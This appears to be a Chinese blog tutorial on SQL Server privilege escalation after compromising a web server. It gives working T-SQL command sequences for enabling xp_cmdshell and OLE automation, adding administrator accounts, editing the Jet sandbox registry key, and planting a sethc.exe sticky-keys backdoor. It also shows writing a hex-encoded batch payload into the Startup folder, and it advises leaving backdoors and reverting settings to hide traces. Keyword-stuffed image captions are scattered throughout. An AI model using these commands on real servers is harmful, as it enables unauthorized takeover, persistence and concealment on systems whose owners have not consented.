前话:

    其实SqlServer的提权与Mysql的UDF提权是一个道理,当我们拿到webshell后,权限太低无法使用常规的系统漏洞进行提权时,如果恰好数据库服务的运行权限较高,例如是个系统权限(通常sqlserver2000和2008安装后默认权限是系统权限),则我们可以通过sqlserver提权,让自己以同数据库服务一样的系统权限进行命令执行。而如果是直接拿到了数据库,而不是通过webshell,则有两种思路,一种是数据库权限比较高,可以直接用数据库进行提权来执行命令。第二种是数据库运行权限较低,但也能执行低权限用户的命令,则需要利用系统漏洞进行提权。

概念:

    根据百度百科的解释,存储过程是在大型关系型数据库中,一组完成特定功能的Sql语句集,在数据库中,经过一次编译之后调用不需要再次编译,用户通过指定存储过程的名称并给出参数(如果有的话)来执行它。

常见提权方式

xp_cmdshell

sp_oacreate

CLR

wscript.shell

沙盒提权

利用sethc.exe 替换文件提权

db_owner

演示

    这里的所有提权操作直接用数据库管理工具在连接数据库的情况下进行操作,因为即使我们是通过webshell进行的操作也是需要在webshell上先连接数据库的。而连接数据库的账号密码需要从webshell中去翻阅配置文件,通常.NET的站点配置信息写在Web.config中,里面会有数据库账号密码和连接的数据库名称。

       当前数据库的运行权限:

sqlmap zhuru 提权mysql sqlserver数据库提权_msf实战提权windows

注:SQL Server2005在默认情况下,一些存储过程是关闭着的,需要命令打开

开启xp_cmdshell:exec sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure'xp_cmdshell', 1;RECONFIGURE;关闭xp_cmdshell:exec sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure'xp_cmdshell', 0;RECONFIGURE;开启'OPENROWSET':exec sp_configure 'show advanced options',1;RECONFIGURE;exec sp_configure'Ad Hoc Distributed Queries',1;RECONFIGURE;开启'sp_oacreate':exec sp_configure 'show advanced options',1;RECONFIGURE;exec sp_configure'Ole Automation Procedures',1;RECONFIGURE;

xp_cmdshell

首先要开启这个存储过程:

exec sp_configure 'show advanced options',1;reconfigure;

       执行这条语句是因为:show advanced options,“显示高级选项”选项用来显示 sp_configure系统存储过程高级选项。当“显示高级选项” 设置为 1 时,可以使用sp_configure 列出高级选项。默认值为 0。通过这条命令将其修改为1。(简单理解就是这个值要设置为1才能启用xp_cmdshell)

sqlmap zhuru 提权mysql sqlserver数据库提权_mysql提权_02

开启CMDshell

exec sp_configure 'xp_cmdshell',1;reconfigure;

sqlmap zhuru 提权mysql sqlserver数据库提权_mysql提权_03

接下来就可以执行命令了,查看当前 用户权限:

exec master.dbo.xp_cmdshell 'whoami';

可以看到已经可以利用和数据库一样的administrator的权限进行执行命令了。

(这里再次提醒,不用在意这里为什么不是system权限,有这个疑问的回到上面看“前话”)

sqlmap zhuru 提权mysql sqlserver数据库提权_mysql udf提权_04

通常使用完毕后,如果已经留好了后门账户或其他后门,则最好对已经做过的操作进行还原,使用以下命令:

sp_configure 'show advanced options', 0;

sqlmap zhuru 提权mysql sqlserver数据库提权_mysql提权_05

RECONFIGURE;

sqlmap zhuru 提权mysql sqlserver数据库提权_mysql udf提权_06

对应MSF中的:

auxiliary/admin/mssql/mssql_exec

sqlmap zhuru 提权mysql sqlserver数据库提权_mysql udf提权_07

sp_oacreate

当XP_CMDSHELL无法使用时,也可以使用sp_oacreate。

同样的,首先要开启这个存储过程:

EXEC sp_configure 'show advanced options',1;

(sp_configure的作用是显示或更改当前服务器的全局配置设置,执行成功返回0,失败返回1)

sqlmap zhuru 提权mysql sqlserver数据库提权_mysql提权_08

使前面的配置生效

RECONFIGURE;

sqlmap zhuru 提权mysql sqlserver数据库提权_mysql udf提权_09

EXEC sp_configure 'Ole Automation Procedures', 1;

sqlmap zhuru 提权mysql sqlserver数据库提权_c#安卓连接sqlserver_10

RECONFIGURE;

sqlmap zhuru 提权mysql sqlserver数据库提权_mysql udf提权_11

执行命令:

先声明一个变量(reboot)用来存储返回的对象

1.declare @reboot int;

使用sp_oacreate调用wscript.shell组件,将返回的对象存储到@reboot变量中。

2.exec sp_oacreate 'wscript.shell',@ reboot out;

使用sp_oamethod 调用@reboot对象中的Run方法,执行添加用户的命令,null是run方法的返回值,我们不需要用返回值,所以写null

3.exec sp_oamethod @reboot,'run',null,'c:\windows\system32\cmd.exewhoami'

4.exec sp_oacreate 'wscript.shell',@reboot out

上面这几行语句需要一起进行执行,不是单个执行:

sqlmap zhuru 提权mysql sqlserver数据库提权_mysql udf提权_12

可以看到返回的信息啥都没有,所以这里需要我们将返回的信息先输出到一个文件里,然后再去进行读取(所以这个方法的话最好是在webshell下进行使用,因为至少有个命令行可以用来执行type XXX,查看里面的信息):

下面的结果中返回0代表成功,1代表失败。

sqlmap zhuru 提权mysql sqlserver数据库提权_c#安卓连接sqlserver_13

sqlmap zhuru 提权mysql sqlserver数据库提权_c#安卓连接sqlserver_14

sqlmap zhuru 提权mysql sqlserver数据库提权_mysql udf提权_15

执行完成后同样进行一下还原:

sp_configure 'Ole Automation Procedures', 0;RECONFIGURE;EXEC sp_configure 'show advanced options', 0; RECONFIGURE;

sqlmap zhuru 提权mysql sqlserver数据库提权_msf实战提权windows_16

以上是使用sp_oacreate的提权方法,主要是调用OLE对象(Object Linking and Embedding的缩写,VB中的OLE对象),通过OLE对象中的run方法来执行系统命令。在oacreate的官方文档有提到,如果要用OLE对象,就得要开启

'Ole Automation Procedures',也就是EXEC sp_configure 'Ole Automation Procedures', 1;

执行这条语句之前要先执行EXEC sp_configure 'show advanced options', 1; 才可以。

CLR

       SQLCLR (SQL Common Language Runtime) 是自 SQL Server 2005 才出现的新功能,它将.NET Framework中的CLR服务注入到 SQL Server 中,让 SQL Server 的部分数据库对象可以使用 .NET Framework 的编程语言开发(只支持VB.NET和C#),包括预存程序、用户自定义函数、触发程序、用户自定义类型以及用户自定义汇总函数等功能。

       MicrosoftSQL Server 现在具备与 Microsoft Windows .NETFramework

的公共语言运行时 (CLR) 组件集成的功能

CLR 为托管代码提供服务,例如跨语言集成、代码访问安全性、对象生存期管理以及调试和分析支持。

对于 SQL Server 用户和应用程序开发人员来说,CLR 集成意味着您现在可以使用任何 .NET Framework 语言(包括 Microsoft Visual Basic.NET 和 Microsoft Visual C#)编写存储过程、触发器、用户定义类型、用户定义函数(标量函数和表值函数)以及用户定义的聚合函数。

要通过此种方式来执行命令,也有几个前提:

1、在SQLServer上能启用CLR并可以创建自定义存储过程2、SQL Server当前账号具有执行命令/代码所需要的权限

 这个可以直接使用MSF进行提权:

sqlmap zhuru 提权mysql sqlserver数据库提权_c#安卓连接sqlserver_17

sqlmap zhuru 提权mysql sqlserver数据库提权_mysql提权_18

wscript.shell

使用wscript.shell直接添加系统帐户(限xp或2003server):

declare @shell int exec sp_oacreate'wscript.shell',@shell output exec sp_oamethod@shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'
declare @shell int exec sp_oacreate'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe/c net localgroup administrators 新用户 /add'

沙盒提权

       沙盒模式是数据库的一种安全功能.在沙盒模式下,只对控件和字段属性中的安全且不含恶意代码的表达式求值.如果表达式不使用可能以某种方式损坏数据的函数或属性,则可认为它是安全的.

1.开启沙盒模式:

exec master..xp_regwrite'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;--

沙盒模式SandBoxMode参数含义(默认是2)

“0” :在任何所有者中禁止启用安全模式“1” :为仅在允许范围内“2” :必须在access模式下“3” :完全开启

2.利用jet.oledb执行系统命令:

select * fromopenrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','selectshell("cmd.exe /c whoami")')

 同样,使用完进行恢复:

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1;exec sp_configure 'Ad Hoc Distributed Queries',0;reconfigure;exec sp_configure 'show advanced options',0;reconfigure;

利用sethc.exe 替换文件提权

注:前提是要有sa账户的账户密码。这个利用的其实就是shift后门,这个能否使用成功跟操作系统也有关系,较老的系统可以使用。

declare @o intexec sp_oacreate 'scripting.filesystemobject',@o outexec sp_oamethod @o,'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe'; declare @oo intexec sp_oacreate 'scripting.filesystemobject', @oo outexec sp_oamethod @oo,'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';

 执行完毕后在登录时连按5次shift进行登陆。

db_owner

当xp_cmdshell无法使用时可以使用该方法。

这个利用的其实就是shift后门,这个能否使用成功跟操作系统也有关系,较老的系统可以使用。

注:实验时可以先执行以下命令将xp_cmdshell禁用

sp_configure'show advanced options',1reconfiguregosp_configure'xp_cmdshell',1reconfigurego

sqlmap zhuru 提权mysql sqlserver数据库提权_msf实战提权windows_19

利用xp_dirtree列目录

exec master..xp_dirtree 'c:\',1,1

sqlmap zhuru 提权mysql sqlserver数据库提权_msf实战提权windows_20

查看启动项

execmaster..xp_dirtree'C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\StartMenu\Programs\Startup\';

注:这个路径根据具体情况进行调整,不一定都在这个路径。

sqlmap zhuru 提权mysql sqlserver数据库提权_c#安卓连接sqlserver_21

alter database master set RECOVERY FULL;create table cmd (a image);backup database master  to disk = 'c:\cmd' with init;insert into cmd (a) values (0x130A0D0A404563686F206F66660D0A406364202577696E646972250D0A4064656C20646972202F73202F612073657468632E6578650D0A40636F7079202577696E646972255C73797374656D33325C636D642E657865202577696E646972255C73797374656D33325C73657468632E657865202F790D0A40636F7079202577696E646972255C73797374656D33325C636D642E657865202577696E646972255C73797374656D33325C646C6C63616368655C73657468632E657865202F790D0A);backup database master  to disk = 'C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\start.bat';drop table cmd;

sqlmap zhuru 提权mysql sqlserver数据库提权_c#连接远程sqlserver_22

然后当administrator重新登陆或者重启就的时候这个脚本就会运行了。

注:这个bat文件是一个shift脚本也就是shift后门,是用HEX转的16进制,可根据实际情况进行修改替换。例如修改为反弹shell的内容。